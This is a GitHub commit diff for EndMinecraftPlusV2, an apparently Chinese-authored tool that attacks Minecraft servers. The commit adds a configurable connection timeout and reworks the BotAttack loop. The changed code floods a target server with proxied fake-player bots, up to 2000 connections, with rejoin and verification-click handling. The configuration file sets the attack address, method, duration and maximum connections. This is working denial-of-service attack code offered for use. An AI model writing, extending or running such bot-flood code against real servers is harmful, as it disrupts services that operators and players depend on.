优化异步方法 加入连接超时时间配置项

This commit is contained in:
SerendipityR 2022-08-23 23:50:42 +08:00 committed by GitHub
parent 42b67e136a
commit bea12d2a69
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 41 additions and 30 deletions

View File

@ -9,7 +9,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
public class EndMinecraftPlusV2 { public class EndMinecraftPlusV2 {
public static String ver = "1.2.6"; public static String ver = "1.2.6";
public static Integer CfgVer = 1; public static Integer CfgVer = 2;
public static void main(String[] args) { public static void main(String[] args) {
System.out.println("========================-Forked by SerendipityR-========================"); System.out.println("========================-Forked by SerendipityR-========================");

View File

@ -22,6 +22,7 @@ public class ConfigUtil {
public static Integer AttackMethod; public static Integer AttackMethod;
public static Integer AttackTime; public static Integer AttackTime;
public static Long ConnectDelay; public static Long ConnectDelay;
public static Long ConnectTimeout;
public static Integer MaxConnections; public static Integer MaxConnections;
public static Boolean TabAttack; public static Boolean TabAttack;
public static Boolean AntiAttackMode; public static Boolean AntiAttackMode;
@ -67,6 +68,7 @@ public class ConfigUtil {
AttackMethod = config.getInt("AttackSettings.Method"); AttackMethod = config.getInt("AttackSettings.Method");
AttackTime = config.getInt("AttackSettings.Time"); AttackTime = config.getInt("AttackSettings.Time");
ConnectDelay = config.getLong("AttackSettings.ConnectDelay"); ConnectDelay = config.getLong("AttackSettings.ConnectDelay");
ConnectTimeout = config.getLong("AttackSettings.ConnectTimeout");
MaxConnections = config.getInt("AttackSettings.MaxConnections"); MaxConnections = config.getInt("AttackSettings.MaxConnections");
TabAttack = config.getBoolean("AttackSettings.TabAttack"); TabAttack = config.getBoolean("AttackSettings.TabAttack");
AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode"); AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");

View File

@ -129,7 +129,7 @@ public class BotAttack extends IAttack {
return; return;
} }
OtherUtils.doSleep(5 * 1000); OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack"); LogUtil.doLog(0, "当前连接数: " + clients.size() + "", "BotAttack");
cleanClients(); cleanClients();
} catch (Exception e) { } catch (Exception e) {
@ -201,35 +201,43 @@ public class BotAttack extends IAttack {
break; break;
} }
for (String p: ProxyUtil.proxies) { boolean run = true;
try {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
String[] _p = p.split(":"); while (run) {
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); for (String p: ProxyUtil.proxies) {
String[] User = AttackManager.getRandomUser().split("@"); try {
Client client = createClient(ip, port, User[0], proxy); SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
client.getSession().setReadTimeout(5 * 1000);
client.getSession().setWriteTimeout(5 * 1000);
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (this.attack_motdbefore) { String[] _p = p.split(":");
pool.submit(() -> { Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
getMotd(proxy, ip, port); String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]);
clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (this.attack_motdbefore) {
pool.submit(() -> {
getMotd(proxy, ip, port);
client.getSession().connect(false);
});
} else {
client.getSession().connect(false); client.getSession().connect(false);
}); }
} else {
client.getSession().connect(false);
}
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) if (this.attack_joinsleep > 0) {
return; OtherUtils.doSleep(attack_joinsleep);
if (this.attack_joinsleep > 0) }
OtherUtils.doSleep(attack_joinsleep);
} catch (Exception e) { if (clients.size() > this.attack_maxconnect) {
LogUtil.doLog(1, "发生错误: " + e, null); run = false;
break;
}
} catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null);
}
} }
} }
} }
@ -282,8 +290,8 @@ public class BotAttack extends IAttack {
OtherUtils.doSleep(ConfigUtil.RejoinDelay); OtherUtils.doSleep(ConfigUtil.RejoinDelay);
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.getSession().setReadTimeout(5000); rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
rejoinClient.getSession().setWriteTimeout(5000); rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
rejoin++; rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");

View File

@ -3,7 +3,7 @@
# Forked by SerendipityR # # Forked by SerendipityR #
############################## ##############################
CfgVer: 1 CfgVer: 2
AttackSettings: AttackSettings:
Address: "example.com" Address: "example.com"
@ -16,6 +16,7 @@ AttackSettings:
Method: 1 Method: 1
Time: 3600 Time: 3600
ConnectDelay: 250 ConnectDelay: 250
ConnectTimeout: 8000
# 实际连接数由代理质量和机器性能有关 # 实际连接数由代理质量和机器性能有关
# 进行无代理Motd压测时不建议大于32 # 进行无代理Motd压测时不建议大于32
MaxConnections: 2000 MaxConnections: 2000